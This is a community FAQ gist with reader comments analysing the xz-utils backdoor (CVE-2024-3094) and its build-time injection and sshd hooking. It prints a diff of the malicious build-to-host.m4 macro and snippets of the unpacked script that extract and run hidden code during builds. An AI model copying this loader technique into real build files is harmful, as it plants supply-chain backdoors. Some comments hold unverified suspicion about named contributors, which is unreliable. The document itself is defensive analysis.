Skip to content

Instantly share code, notes, and snippets.

@thesamesam
Last active May 24, 2024 04:20
Show Gist options
  • Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
Save thesamesam/223949d5a074ebc3dce9ee78baad9e27 to your computer and use it in GitHub Desktop.
xz-utils backdoor situation (CVE-2024-3094)

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that gives developers lossless compression. This package is commonly used for compressing release tarballs, software packages, kernel images, and initramfs images. It is very widely distributed, statistically your average Linux or macOS system will have it installed for convenience.

This backdoor is very indirect and only shows up when a few known specific criteria are met. Others may be yet discovered! However, this backdoor is at least triggerable by remote unprivileged systems connecting to public SSH ports. This has been seen in the wild where it gets activated by connections - resulting in performance issues, but we do not know yet what is required to bypass authentication (etc) with it.

We're reasonably sure the following things need to be true for your system to be vulnerable:

  • You need to be running a distro that uses glibc (for IFUNC)
  • You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed (xz-utils provides the library liblzma) - likely only true if running a rolling-release distro and updating religiously.

We know that the combination of systemd and patched openssh are vulnerable but pending further analysis of the payload, we cannot be certain that other configurations aren't.

While not scaremongering, it is important to be clear that at this stage, we got lucky, and there may well be other effects of the infected liblzma.

If you're running a publicly accessible sshd, then you are - as a rule of thumb for those not wanting to read the rest here - likely vulnerable.

If you aren't, it is unknown for now, but you should update as quickly as possible because investigations are continuing.

TL:DR:

  • Using a .deb or .rpm based distro with glibc and xz-5.6.0 or xz-5.6.1:
    • Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW
    • Otherwise: update RIGHT NOW NOW but prioritize the former
  • Using another type of distribution:
    • With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.

If all of these are the case, please update your systems to mitigate this threat. For more information about affected systems and how to update, please see this article or check the xz-utils page on Repology.

This is not a fault of sshd, systemd, or glibc, that is just how it was made exploitable.

Design

This backdoor has several components. At a high level:

  • The release tarballs upstream publishes don't have the same code that GitHub has. This is common in C projects so that downstream consumers don't need to remember how to run autotools and autoconf. The version of build-to-host.m4 in the release tarballs differs wildly from the upstream on GitHub.
  • There are crafted test files in the tests/ folder within the git repository too. These files are in the following commits:
  • Note that the bad commits have since been reverted in e93e13c8b3bec925c56e0c0b675d8000a0f7f754
  • A script called by build-to-host.m4 that unpacks this malicious test data and uses it to modify the build process.
  • IFUNC, a mechanism in glibc that allows for indirect function calls, is used to perform runtime hooking/redirection of OpenSSH's authentication routines. IFUNC is a tool that is normally used for legitimate things, but in this case it is exploited for this attack path.

Normally upstream publishes release tarballs that are different than the automatically generated ones in GitHub. In these modified tarballs, a malicious version of build-to-host.m4 is included to execute a script during the build process.

This script (at least in versions 5.6.0 and 5.6.1) checks for various conditions like the architecture of the machine. Here is a snippet of the malicious script that gets unpacked by build-to-host.m4 and an explanation of what it does:

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

  • If amd64/x86_64 is the target of the build
  • And if the target uses the name linux-gnu (mostly checks for the use of glibc)

It also checks for the toolchain being used:

  if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
  exit 0
  fi
  if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
  exit 0
  fi
  LDv=$LD" -v"
  if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
  exit 0

And if you are trying to build a Debian or Red Hat package:

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then

This attack thusly seems to be targeted at amd64 systems running glibc using either Debian or Red Hat derived distributions. Other systems may be vulnerable at this time, but we don't know.

Lasse Collin, the original long-standing xz maintainer, is currently working on auditing the xz.git.

Design specifics

$ git diff m4/build-to-host.m4 ~/data/xz/xz-5.6.1/m4/build-to-host.m4
diff --git a/m4/build-to-host.m4 b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/home/sam/data/xz/xz-5.6.1/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],
 
   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])
 
 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

Payload

If those conditions check, the payload is injected into the source tree. We have not analyzed this payload in detail. Here are the main things we know:

  • The payload activates if the running program has the process name /usr/sbin/sshd. Systems that put sshd in /usr/bin or another folder may or may not be vulnerable.

  • It may activate in other scenarios too, possibly even unrelated to ssh.

  • We don't entirely know the payload is intended to do. We are investigating.

  • Successful exploitation does not generate any log entries.

  • Vanilla upstream OpenSSH isn't affected unless one of its dependencies links liblzma.

    • Lennart Poettering had mentioned that it may happen via pam->libselinux->liblzma, and possibly in other cases too, but...
    • libselinux does not link to liblzma. It turns out the confusion was because of an old downstream-only patch in Fedora and a stale dependency in the RPM spec which persisted long-beyond its removal.
    • PAM modules are loaded too late in the process AFAIK for this to work (another possible example was pam_fprintd). Solar Designer raised this issue as well on oss-security.
  • The payload is loaded into sshd indirectly. sshd is often patched to support systemd-notify so that other services can start when sshd is running. liblzma is loaded because it's depended on by other parts of libsystemd. This is not the fault of systemd, this is more unfortunate. The patch that most distributions use is available here: openssh/openssh-portable#375.

    • Update: The OpenSSH developers have added non-library integration of the systemd-notify protocol so distributions won't be patching it in via libsystemd support anymore. This change has been committed and will land in OpenSSH-9.8, due around June/July 2024.
  • If this payload is loaded in openssh sshd, the RSA_public_decrypt function will be redirected into a malicious implementation. We have observed that this malicious implementation can be used to bypass authentication. Further research is being done to explain why.

    • Filippo Valsorda has shared analysis indicating that the attacker must supply a key which is verified by the payload and then attacker input is passed to system(), giving remote code execution (RCE).

Tangential xz bits

  • Jia Tan's 328c52da8a2bbb81307644efdb58db2c422d9ba7 commit contained a . in the CMake check for landlock sandboxing support. This caused the check to always fail so landlock support was detected as absent.

    • Hardening of CMake's check_c_source_compiles has been proposed (see Other projects).
  • IFUNC was introduced for crc64 in ee44863ae88e377a5df10db007ba9bfadde3d314 by Hans Jansen.

    • Hans Jansen later went on to ask Debian to update xz-utils in https://bugs.debian.org/1067708, but this is quite a common thing for eager users to do, so it's not necessarily nefarious.

People

We do not want to speculate on the people behind this project in this document. This is not a productive use of our time, and law enforcement will be able to handle identifying those responsible. They are likely patching their systems too.

xz-utils had two maintainers:

  • Lasse Collin (Larhzu) who has maintained xz since the beginning (~2009), and before that, lzma-utils.
  • Jia Tan (JiaT75) who started contributing to xz in the last 2-2.5 years and gained commit access, and then release manager rights, about 1.5 years ago. He was removed on 2024-03-31 as Lasse begins his long work ahead.

Lasse regularly has internet breaks and was on one of these as this all kicked off. He has posted an update at https://tukaani.org/xz-backdoor/ and is working with the community.

Please be patient with him as he gets up to speed and takes time to analyse the situation carefully.

Misc notes

Analysis of the payload

This is the part which is very much in flux. It's early days yet.

These two especially do a great job of analysing the initial/bash stages:

Other great resources:

Other projects

There are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.

Tangential efforts as a result of this incident

This is for suggesting specific changes which are being considered as a result of this.

Discussions in the wake of this

This is for linking to interesting general discussions, rather than specific changes being suggested (see above).

Non-mailing list proposals:

Acknowledgements

  • Andres Freund who discovered the issue and reported it to linux-distros and then oss-security.
  • All the hard-working security teams helping to coordinate a response and push out fixes.
  • Xe Iaso who resummarized this page for readability.
  • Everybody who has provided me tips privately, in #tukaani, or in comments on this gist.

Meta

Please try to keep comments on the gist constrained to editorial changes I need to make, new sources, etc.

There are various places to theorise & such, please see e.g. https://discord.gg/TPz7gBEE (for both, reverse engineering and OSint). (I'm not associated with that Discord but the link is going around, so...)

Response to questions

  • A few people have asked why Jia Tan followed me (@thesamesam) on GitHub. #tukaani was a small community on IRC before this kicked off (~10 people, currently has ~350). I've been in #tukaani for a few years now. When the move from self-hosted infra to github was being planned and implemented, I was around and starred & followed the new Tukaani org pretty quickly.

  • I'm referenced in one of the commits in the original oss-security post that works around noise from the IFUNC resolver. This was a legitimate issue which applies to IFUNC resolvers in general. The GCC bug it led to (PR114115) has been fixed.

    • On reflection, there may have been a missed opportunity as maybe I should have looked into why I couldn't hit the reported Valgrind problems from Fedora on Gentoo, but this isn't the place for my own reflections nor is it IMO the time yet.

TODO for this doc

  • Add a table of releases + signer?
  • Include the injection script after the macro
  • Mention detection?
  • Explain the bug-autoconf thing maybe wrt serial
  • Explain dist tarballs, why we use them, what they do, link to autotools docs, etc
    • "Explaining the history of it would be very helpful I think. It also explains how a single person was able to insert code in an open source project that no one was able to peer review. It is pragmatically impossible, even if technically possible once you know the problem is there, to peer review a tarball prepared in this manner."

TODO overall

Anyone can and should work on these. I'm just listing them so people have a rough idea of what's left.

  • Ensuring Lasse Collin and xz-utils is supported, even long after the fervour is over
  • Reverse engineering the payload (it's still fairly early days here on this)
    • Once finished, tell people whether:
      • the backdoor did anything else than waiting for connections for RCE, like:
        • call home (send found private keys, etc)
        • load/execute additional rogue code
        • did some other steps to infest the system (like adding users, authorized_keys, etc.) or whether it can be certainly said, that it didn't do so
      • other attack vectors than via sshd were possible
      • whether people (who had the compromised versions) can feel fully safe if they either had sshd not running OR at least not publicly accessible (e.g. because it was behind a firewall, nat, iptables, etc.)
  • Auditing all possibly-tainted xz-utils commits
  • Investigate other paths for sshd to get liblzma in its process (not just via libsystemd, or at least not directly)
    • This is already partly done and it looks like none exist, but it would be nice to be sure.
  • Checking other projects for similar injection mechanisms (e.g. similar build system lines)
  • Diff and review all "golden" upstream tarballs used by distros against the output of creating a tarball from the git tag for all packages.
  • Check other projecs which (recently) introduced IFUNC, as suggested by thegrugq.
    • This isn't a bad idea even outside of potential backdoors, given how brittle IFUNC is.
  • ???

References and other reading material

@thesamesam
Copy link
Author

@xuhdev I see it in xz-5.6.0.tar.gz at least with SHA512 8af100eb83288f032e4813be2bf8de7d733c8761f77f078776c1391709241ad8fe3192d107664786e2543677915c5eeb3fe7add5c53b48b50c10a9de7c9f4fda, in m4/build-to-host.m4.

@thesamesam
Copy link
Author

I've gone through and done another pass of the document to fix some obvious silly errors which got introduced as I implement edit suggestions. Nothing really substantial other than tidying up the confusing usrmerge part (I inconsistently replaced some parts before) and also emphasising that this isn't necessarily limited to OpenSSH at all.

@thesamesam
Copy link
Author

@alexshpilkin Thanks, I hope I've addressed that now. It was me clumsily trying to make the TL;DR bit clearer and doing the opposite.

@Bulat-Ziganshin
Copy link

Vanilla upstream OpenSSH isn't affected unless one of its dependencies links liblzma. We are not aware of any cases of this in practical production systems.

What this means - is OpenSSH usually depend on liblzma or not? For my taste, this "not of not" chain makes the last statement ambiguous.

If OpenSSH usually doesn't depend on liblzma, this means that they targeted some specific systems with very fine, indirect instrument. It looks like e.g. the famous attack on Iran's nuclear program.

@xuhdev
Copy link

xuhdev commented Mar 30, 2024

Interesting! I downloaded xz-5.6.0.tar.gz from the Release Page and I have a different sha512 sum. Where did you download it?

@thesamesam
Copy link
Author

What this means - is OpenSSH usually depend on liblzma or not? For my taste, this "not of not" chain makes the last statement ambiguous.

In Debian, Fedora, etc, OpenSSH depends on liblzma via libsystemd (which it patches in support for). It is possible that liblzma could get into the sshd process via another dependency but I haven't seen an example of this yet.

@thesamesam
Copy link
Author

Interesting! I downloaded xz-5.6.0.tar.gz from the Release Page and I have a different sha512 sum. Where did you download it?

Are you sure you grabbed https://github.com/tukaani-project/xz/releases/download/v5.6.0/xz-5.6.0.tar.gz and not the github-generated one at the bottom ("source code")?

$ sha512sum just-fetched-xz-5.6.0.tar.gz xz-5.6.0.tar.gz
1ef3cd3607818314e55b28c20263a9088d4b6e5362a45fbd37c17e799e26b4a7579928b99925ffe71e7804b0db2f65936f66a825bac9b23b7b0664f902925de8  just-fetched-xz-5.6.0.tar.gz
1ef3cd3607818314e55b28c20263a9088d4b6e5362a45fbd37c17e799e26b4a7579928b99925ffe71e7804b0db2f65936f66a825bac9b23b7b0664f902925de8  xz-5.6.0.tar.gz

@thesamesam
Copy link
Author

@DanielRuf That isn't right. The release tarballs uploaded as assets have some malicious content. But they only get activated in some contexts depending on the distribution build environment. There are also malicious components in the git repo. This is covered in the FAQ above.

@Foxboron
Copy link

@thesamesam

possible that liblzma could get into the sshd process via another dependency but I haven't seen an example of this yet.

libselinux builds with lzma. Very specific to selinux enabled systems, but potentially a vector?

Thanks for writing this :)

@thesamesam
Copy link
Author

@Foxboron I quickly grepped libselinux for lzma and didn't see anything, nor does our package depend on xz-utils, but I have not checked in-depth and it wouldn't surprise me if I'm missing something. Do you know how it uses it?

@DanielRuf
Copy link

@thesamesam sorry, I misunderstood something. It's a bit too late for me.

@thesamesam
Copy link
Author

@DanielRuf No worries, we're all a bit frazzled!

@xuhdev
Copy link

xuhdev commented Mar 30, 2024

Sorry, now I see we have matching SHA512sums (I had a typo when I checked). This is the build-to-host.m4 I see, but I still don't see those lines: https://gist.github.com/xuhdev/d016b9726d69dcd4738048649c3ebd55

@Foxboron
Copy link

Foxboron commented Mar 30, 2024

@thesamesam sorry, I'm quoting Poettering poorly :p not a good weekend to travel away without laptop.

Libselinux -> libpam -> liblzma and you have potentially pam_selinux as well

So an indirect dependency.

@thesamesam
Copy link
Author

thesamesam commented Mar 30, 2024

@xuhdev Your gist contains gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null' which is then used to later unpack the script lines I quoted above, I think.

(The lines I mentioned above do not exist directly in the source tarball, they get unpacked.)

EDIT: aaaah and I just realised the error in the text. Fixing.

@thesamesam
Copy link
Author

@Foxboron Ah, thanks! screams

@xuhdev
Copy link

xuhdev commented Mar 30, 2024

Ah, thanks! Could you make it clear in the doc?

@Z-nonymous
Copy link

Z-nonymous commented Mar 30, 2024

What about this Open PR tukaani-project/xz#86 with several force-push from 27 days ago?

I see JiaT75 account working with another user account (xry111) on further CRC changes (crc changes that are currently exploited), and that user has also contributed to many core linux subsystems like openssl and systemd, protobuf-c. llvms, util-linux. torvalds/linux, make-ca, cpython...
xry111 has submitted PRs and commits and alo reviewer of PRs in many places. 16 repo contributed to this year, 47 repos in 2023, 38 in 2024.

He seems to be participating to Loongsong Chinese architecture and Linux From Scratch, though, which might explain his wide contributions, but SSL, CRC, Make, Building, Kernel, curl, libxcrypt... , that's a lot of places where he is contributing code or reviewing code.
Wouldn't that allow for very sophisticated similar exploits ?

I did not review all but I see some make-ca update to silence openssl warnings...

@thesamesam
Copy link
Author

@xuhdev Will do, I will work on it now after eating, adjusting for @Foxboron's comments further, and then I will work on this problem you raised. Thanks! If it does not look addressed in a few hours, please do ping.

@kovacs-andras
Copy link

This could be useful: https://packetstormsecurity.com/files/177856/liblzma-backdoor.tgz
"...Included in this archive are not only the advisory but additional data and a testing script to see if you're affected."

@michaelbutler
Copy link

Does anyone know if Ubuntu 22.04 Server is affected, or what command I could run to know if I am affected? I'm not familiar with detecting installed library versions.

@erinacio
Copy link

Does anyone know if Ubuntu 22.04 Server is affected, or what command I could run to know if I am affected? I'm not familiar with detecting installed library versions.

AFAIK all stable versions of Debian / Ubuntu / RHEL / openSUSE seem not be affected. The compromised version went to Debian testing / Fedora 41+rawhide, openSUSE tumbleweed i.e. nonstable versions.

@Z-nonymous
Copy link

Wow it's crazy how many different core areas of Linux code is beeing changed to cope with Loongsong LoongArch.

From a quick glance, Rust, LLVM are modified by coordination of xry111 and also xen0n. That xen0n has like contributed to 101 different repos last year. It seems he is also working on Loongsong architecture.

@jumps-are-op
Copy link

GitHub Staff has disabled the xz repo because of "security reasons." Wow.

@endingwithali
Copy link

this is an awesome write up! great job!

@StefanCristian
Copy link

StefanCristian commented Mar 30, 2024

GitHub Staff has disabled the xz repo because of "security reasons." Wow.

The worst option. They should have a procedure for read-acess denial (403) on code fetch & releases.

Horrible approach from Github, denying open discusions, reporting & possibly patch pull requests.

They should have had a procedure for such security cases, such as leaving the conversation open for reporting, while disabling read/fetch access for code & releases, with the possibility of pull requests and patch recommendations.

@nomad-geek
Copy link

GitHub Staff has disabled the xz repo because of "security reasons." Wow.

That was a bad call on GitHub's part. That was a center point for developers to discuss and share knowledge about this situation.

@sjjf
Copy link

sjjf commented Mar 30, 2024

GitHub Staff has disabled the xz repo because of "security reasons." Wow.

That was a bad call on GitHub's part. That was a center point for developers to discuss and share knowledge about this situation.

Yeah, an unfortunate decision - read-only access would be better, possibly read-only access to just the repo (with none of the manually uploaded artefacts). Though that level of fine-grained access control probably isn't supported by GitHub . . .

@shaoran
Copy link

shaoran commented Mar 30, 2024

@StefanCristian I agree, I'm upset at that. I had been reading many comments and lines of code in that repository to better understand what really went on and now it's impossible to keep investigating as a private party. I made this post https://www.reddit.com/r/github/comments/1br5x2e/mixed_feelings_after_github_took_down_xzutils/ on githubs's reddit page in the hope that someone from github staff read the threads there.

@Baughn
Copy link

Baughn commented Mar 30, 2024

It's also hindering the NixOS response. Now it's much harder to roll back to 5.4; another copy of the source will have to be found.

@thesamesam
Copy link
Author

thesamesam commented Mar 30, 2024

It's also hindering the NixOS response. Now it's much harder to roll back to 5.4; another copy of the source will have to be found.

@Baughn You should be able to use sourceforge which was an official source for it. You can use Gentoo's git history for app-arch/xz-utils in the Manifest file to see if it's the same.

@justaplebe
Copy link

Thanks for this write up. Seems to be the most informative I have found, and the discussion is great.

@F1nny
Copy link

F1nny commented Mar 30, 2024

Great writeup, props and good idea! @github handling of the repo is unfortunate and hopefully rolled back soon, let's see what can find out 🤞

@ITJamie
Copy link

ITJamie commented Mar 30, 2024

One of the outcomes id like to see is systemd move away from xz completely and move to zstd or similar. xz was barely maintained pre 2022.

@Apsu
Copy link

Apsu commented Mar 30, 2024

https://github.com/xz-mirror/xz interesting find. https://github.com/xz-mirror/xz/commits?author=JiaT75 is all over it, but at least the repo is viewable -- appears 7 months old.

https://git.tukaani.org/?p=xz.git;a=summary this is much more interesting though. Might be a viable candidate to clean from.

@Ninpo
Copy link

Ninpo commented Mar 30, 2024

Does anyone know if Ubuntu 22.04 Server is affected, or what command I could run to know if I am affected? I'm not familiar with detecting installed library versions.

It's not affected, but to check you can dpkg -l | grep xz-utils to see the installed version. For rpm based distros, rpm -q xz or rpm -q xz-libs

@Benj2005
Copy link

Great writeup, props and good idea! @github handling of the repo is unfortunate and hopefully rolled back soon, let's see what can find out 🤞

There seems to be a working mirror at https://git.tukaani.org/xz.git.
I found this from another PR made by the malicious committer - https://github.com/google/oss-fuzz/pull/11286.

@waterkip
Copy link

It's not affected, but to check you can dpkg -l | grep xz-utils

apt-cache policy xz-util is easier I think.

github's closure of the repo is insane, it prevents the world from inspecting the source code.

@nomad-geek
Copy link

github's closure of the repo is insane, it prevents the world from inspecting the source code.

seriously dumb.

@StefanCristian
Copy link

It's not affected, but to check you can dpkg -l | grep xz-utils

apt-cache policy xz-util is easier I think.

github's closure of the repo is insane, it prevents the world from inspecting the source code.

You can still inspect the code on git.tukaani.org, some linux distributions still have automation pointed to that.

But the main problem is that Github doesn't have a procedure for:

  • Leaving discussions, reporting & possible patch proposals open
  • Forbidding code & tag fetch on a repo

In such situations it's imperative to leave the discussions & reporting open, while blocking code fetch. Not nuking everything.

What Github did is just terrible.

@AN4364364
Copy link

AN4364364 commented Mar 30, 2024

@thesamesam, thank you very much for this document.

I have an odd observation, and I haven't been able to find an explanation so I'm going to ask it here. I noticed the JiaT75 Github account was following only 3 accounts. 2 were related to their project, but the third was yours, thesamesam. Why? Was it anything like the comment made by this Hacker News user, saying JiaT75 tried to persuade them to add the malicious code to Fedora? If your situation is similar, can you share what JiaT75 asked you to do?

https://news.ycombinator.com/item?id=39865810#39866275

To be super clear to everyone reading this, I am not leveling any accusations and I am grateful that thesamesam has provided so much to those of us trying to catch up.

@StefanCristian
Copy link

StefanCristian commented Mar 30, 2024

@thesamesam, thank you very much for this document.

I have an odd observation, and I haven't been able to find an explanation so I'm going to ask it here. I noticed the JiaT75 Github account was following only 3 accounts. 2 were related to their project, but the third was yours, thesamesam. Why? Was it anything like the comment made by this Hacker News user, saying JiaT75 tried to persuade them to add the malicious code to Fedora? If your situation is similar, can you share what JiaT75 asked you to do?

https://news.ycombinator.com/item?id=39865810#39866275

To be super clear to everyone reading this, I am not leveling any accusations and I am grateful that thesamesam has provided so much to those of us trying to catch up.

Probably after this: https://bugs.gentoo.org/925415

In commit 72d2933bfae514e0dbb123488e9f1eb7cf64175f on xz.git main repo, Jia thanked Sam on 05.03.2024 for the bug report.
"Author: Jia Tan jiat0218@gmail.com
Date: Tue Mar 5 00:34:46 2024 +0800

liblzma: Use attribute no_profile_instrument_function with ifunc.

Thanks to Sam James for determining this was the attribute needed to
workaround the GCC bug and for his version of the patch in Gentoo."

Sam is a Gentoo developer and maintainer. You can read the bug in question from the link above.
Edit: more like Sam asked Jia to fix the issues upstream, so that Gentoo can compile the package. Not the other way around.

@waterkip
Copy link

You can still inspect the code on git.tukaani.org, some linux distributions still have automation pointed to that.

I know, but you cannot see the past, closed, or open PRs.

@jab4
Copy link

jab4 commented Mar 30, 2024

Thanks everybody for spending their time on this and the folks at Debian for providing timely updates!

Speculation: Maybe Jia was trying a Proof of Concept after getting inspired by Alex Rider Season 2 in an attempt to roll the biggest distributed supercomputer on Earth — without creating a costly game studio empire as front, but instead by hijacking the FOSS community for free.

@gamer191
Copy link

This commit/PR seems suspicious as well: https://github.com/google/oss-fuzz/pull/10667/files.

And it was made when 5.4.4 was the latest version of xz

Do you think that versions prior to 5.6.0 might have contained a different backdoor?
Related: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1068024

@herabit
Copy link

herabit commented Mar 30, 2024

Really regretting taking my sleeptime meds right when I learned this occurred. A night of potential reverse engineering ruined! Keep up with the updates, they're greatly appreciated. It is bewildering to me that this kind of thing is even possible, not surprising, however nonetheless immensely bewildering.

@Krutonium
Copy link

Really regretting taking my sleeptime meds right when I learned this occurred. A night of potential reverse engineering ruined! Keep up with the updates, they're greatly appreciated. It is bewildering to me that this kind of thing is even possible, not surprising, however nonetheless immensely bewildering.

Counter Point; Coffee

@mary-ext
Copy link

mary-ext commented Mar 30, 2024

The fuck it isn't. This is why you don't allow overly complex bloatware (aka literally anything ever written by or involving Poettering) to reach its tendrils into every bit of your system. Complexity is the enemy of security.

Debian and other distributions patched in support for systemd-notify by relying on libsystemd, but realistically it didn't need to pull in libsystemd for said functionality.

As said in above comments, it also didn't need to be libsystemd specifically. liblzma is being pulled in by libselinux.

So it seems rather unproductive to put systemd at stake here, given that the backdoor would've happened anyway without the presence of systemd.

Copy link

ghost commented Mar 30, 2024

@cloudhan
Copy link

github's closure of the repo is insane, it prevents the world from inspecting the source code.

They are maybe just covering their ass for now, in case about lawsuit in "helping/involving with the attack"

@oven8Mitts
Copy link

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1068024

Unofficial discussions on Debian downgrading to 5.3.1

I count a minimum of 750 commits or contributions to xz by Jia Tan, who
backdoored it.

This includes all 700 commits made after they merged a pull request in Jan 7
2023, at which point they appear to have already had direct push access, which
would have also let them push commits with forged authors. Probably a number of
other commits before that point as well.

Reverting the backdoored version to a previous version is not sufficient to
know that Jia Tan has not hidden other backdoors in it. Version 5.4.5 still
contains the majority of those commits.

Commits by them such as 18d7facd3802b55c287581405c4d49c98708c136
and ae5c07b22a6b3766b84f409f1b6b5c100469068a show that they were deep
into analyzing the security of xz. They were well placed to insert a buffer
overflow that could allow eg, a targeted xz file to cause arbitrary code
execution. The impact of such a security hole could be much more stealthy and
bad than the known backdoor since it would allow chaining xz with other
unrelated software releases on an ongoing basis.

...

I'd suggest reverting to 5.3.1. Bearing in mind that there were security
fixes after that point for ZDI-CAN-16587 that would need to be reapplied.

@nhatzHK
Copy link

nhatzHK commented Mar 30, 2024

Lasse Collin mentions Jia Tan in the commit logs for the first time in February 2022 and then semi-regularly afterwards.

liblzma: Minor addition to lzma_vli_size() API doc.
Thanks to Jia Tan.

In April 2022, a CVE for arbitrary file-writes affecting xzutils was found and reported.

All previous versions of gzip and xzutils are affected.

At that point Jia Tan had been thanked a couple times in the logs, including once for a patch but the commit was from Lasse Collin (probably squashed).

liblzma: Threaded decoder: Don't stop threads on LZMA_TIMED_OUT.
LZMA_TIMED_OUT is not an error and thus stopping threads on
LZMA_TIMED_OUT breaks the decoder badly.
Thanks to Jia Tan for finding the bug and for the patch.

It's possible nothing malicious happened yet at that point. Lasse Collin said the bug originated in gzip

This bug was inherited from gzip's zgrep. gzip 1.12 includes
a fix for zgrep.

In May 2022, Lasse Collin mentions that Jia Tan has been helping off-list with xz-utils

Jia Tan has helped me off-list with XZ Utils and he might have a bigger
role in the future at least with XZ Utils. It's clear that my resources
are too limited (thus the many emails waiting for replies) so something
has to change in the long term.

Jia Tan's first commit comes in on June 10 2022. (part of the diff)

+/// Since the output values of these functions are hardware dependent, these
+/// tests are trivial. They are simply used to detect errors and machines
+/// that these function are not supported on.

Only 19 days later, in June 2022, Lasse Collin mentions that Jia Tan could even be considered a co-maintainer at that point.

As I have hinted in earlier emails, Jia Tan may have a bigger role in
the project in the future. He has been helping a lot off-list and is
practically a co-maintainer already. :-) I know that not much has
happened in the git repository yet but things happen in small steps. In
any case some change in maintainership is already in progress at least
for XZ Utils.

Presumably Jia Tan has been helping a lot off-list before being added as a maintainer or gaining write acces to the main branch. The latest completely untouched version is before 5.2. More traces of Jia Tan's involvement can be found once Microsoft (stops being typically Microsoft and) brings the repo back on here. If anyone needed more reasons to avoid github... But in any case just looking at the commits' author is not gonna be enough!

@gamer191
Copy link

This 7 month old mirror looks legit: https://github.com/xz-mirror/xz

Important to note that, if I'm reading https://github.com/xz-mirror/xz/commits?author=JiaT75&after=74c3449d8b816a724b12ebce7417e00fb597309a+244 correctly, JiaT75 gained commit access in December 2022

On 22 June 2022 an account incorrectly assumed that Jia had commit access. I suspect that that was an alternate persona created by Jia, as a way of pressuring Lasse Collin into giving him commit access

@ZeroAurora
Copy link

good writeup thanks. sharing this to my friends.
this is literally the most wtf moment in recent years for me

@xen0n
Copy link

xen0n commented Mar 30, 2024

What about this Open PR tukaani-project/xz#86 with several force-push from 27 days ago?

I see JiaT75 account working with another user account (xry111) on further CRC changes (crc changes that are currently exploited), and that user has also contributed to many core linux subsystems like openssl and systemd, protobuf-c. llvms, util-linux. torvalds/linux, make-ca, cpython... xry111 has submitted PRs and commits and alo reviewer of PRs in many places. 16 repo contributed to this year, 47 repos in 2023, 38 in 2024.

He seems to be participating to Loongsong Chinese architecture and Linux From Scratch, though, which might explain his wide contributions, but SSL, CRC, Make, Building, Kernel, curl, libxcrypt... , that's a lot of places where he is contributing code or reviewing code. Wouldn't that allow for very sophisticated similar exploits ?

I did not review all but I see some make-ca update to silence openssl warnings...

Wow it's crazy how many different core areas of Linux code is beeing changed to cope with Loongsong LoongArch.

From a quick glance, Rust, LLVM are modified by coordination of xry111 and also xen0n. That xen0n has like contributed to 101 different repos last year. It seems he is also working on Loongsong architecture.

Ah, waking up only to see this xz drama, and with myself somehow "involved"... I've just checked my boxes and they aren't affected, so let me provide some info from my perspective.

For the record, I know this xry111 guy and have met him in person last year, so I can at least confirm his identity is real and that he is actually doing the porting work. Either I'm being deceived as well, or maybe it's just unfortunate similarity in activity patterns after all; one can only know by actually reviewing the code.

